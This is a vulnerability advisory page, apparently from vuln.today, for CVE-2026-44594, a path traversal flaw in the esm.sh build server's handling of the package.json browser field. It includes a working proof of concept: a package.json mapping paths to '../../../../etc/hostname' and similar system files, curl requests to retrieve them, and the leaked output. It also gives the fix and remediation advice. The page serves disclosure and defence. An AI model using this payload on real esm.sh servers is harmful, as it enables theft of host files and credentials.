Skip to main content

esm.sh CVE-2026-44594

| EUVDEUVD-2026-32911 HIGH
Path Traversal (CWE-22)
2026-05-12 https://github.com/esm-dev/esm.sh GHSA-rg65-45m7-hq57
Path Traversal Debian Node.js Oracle Ubuntu Suse
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
7.5 HIGH

Anyone can publish an npm package and request an unauthenticated build (AV:N/AC:L/PR:N/UI:N); it reads sensitive host files including credential-bearing config (C:H) with no write or availability impact (I:N/A:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 19:12 vuln.today
Analysis Generated
Jul 23, 2026 - 19:12 vuln.today
CVE Published
May 12, 2026 - 22:22 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

go
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:      args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:        externalPath,
				SideEffects: sideEffects,
				External:    true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

json
{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}

index.js:

js
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
bash
npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

json
{
  "sourcesContent": [
    "ideapad\n",
    "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
    "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
    "import d1 from \"./d1.txt\"..."
  ]
}

<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />

Impact

An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.

Fix

Add a path validation check after the browser field remapping:

go
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}

Credit

Svyatoslav Berestovsky of Metascan

AnalysisAI

Arbitrary file read in the esm.sh CDN build server (Go implementation, versions ≤ 137) lets a remote attacker exfiltrate sensitive host files by publishing a malicious npm package. The esbuild plugin re-maps module paths using the package.json 'browser' field without re-validating the sandbox, so '../' sequences escape the package directory and file contents are returned inside the bundled JS and source-map sourcesContent. A working PoC exists (published npm package chess-sec-utils1) reading /etc/hostname, /etc/os-release and /etc/environment, but there is no public exploit identified as actively used and EPSS risk is low (0.04%).

Technical ContextAI

esm.sh is a self-hostable ESM CDN that transpiles and bundles npm packages on demand using esbuild (Go). During a build, the plugin's OnResolve callback enforces a sandbox by checking that resolved paths begin with the package working directory (ctx.wd). The vulnerability (CWE-22, Path Traversal / Local File Inclusion) arises because the package.json 'browser' field is applied AFTER the sandbox check to remap a module specifier to an attacker-chosen relative path; path.Join(ctx.wd, 'node_modules', pkgName, modulePath) then collapses the '../' sequences and no second HasPrefix validation is performed. esbuild's loader selection by extension constrains what is readable: .json must be valid JSON, .txt/.html/.md are read as raw text, and extensionless files must be valid JavaScript - but esm.sh's own config.json (valid JSON, credential-bearing) is fully readable. Because missing target paths do not raise build errors, a single package can probe many paths, functioning as a file-existence oracle. The affected component is the Go module pkg:go/github.com/esm-dev/esm.sh.

RemediationAI

Vendor-released patch: upgrade to esm.sh v137 (https://github.com/esm-dev/esm.sh/releases/tag/v137), which adds a post-remapping path-validation check and also bans URLs containing '/../' segments (#1271). Confirm the running build corresponds to the fixed commit 0.0.0-20250616164159-0593516c4cfa or later, since the input data ambiguously lists v137 as both the last affected and the fixed version. If immediate patching is not possible, apply compensating controls: rotate any npm registry auth tokens and S3 credentials stored in esm.sh config.json (assume they may already be readable) and move them out of world-readable config where feasible; run the build server as an unprivileged user in a minimal container or chroot so that '../' traversal reaches no sensitive host files (trade-off: needs careful volume mounts to avoid breaking builds); and restrict who can reach the build endpoint via network ACLs or an allowlist of packages (trade-off: reduces the open-CDN functionality). Reference the advisory GHSA-rg65-45m7-hq57 for the exact code fix.

More in Node.js

View all
CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

Same weakness CWE-22 – Path Traversal

View all
CVE-2019-3396 CRITICAL POC
9.8
CVE-2019-19781 CRITICAL POC
9.8
CVE-2020-5902 CRITICAL POC
9.8
CVE-2021-21972 CRITICAL POC
9.8
CVE-2021-40444 HIGH POC
8.8
CVE-2021-27065 HIGH POC
7.8
CVE-2019-11510 CRITICAL POC
10.0
CVE-2022-37042 CRITICAL POC
9.8

Same technique Path Traversal

View all
CVE-2019-19781 CRITICAL POC
9.8
CVE-2021-21972 CRITICAL POC
9.8
CVE-2021-40444 HIGH POC
8.8
CVE-2021-27065 HIGH POC
7.8
CVE-2018-20250 HIGH POC
7.8
CVE-2022-37042 CRITICAL POC
9.8
CVE-2025-64446 CRITICAL POC
9.8
CVE-2022-30333 HIGH POC
7.5

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-44594 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy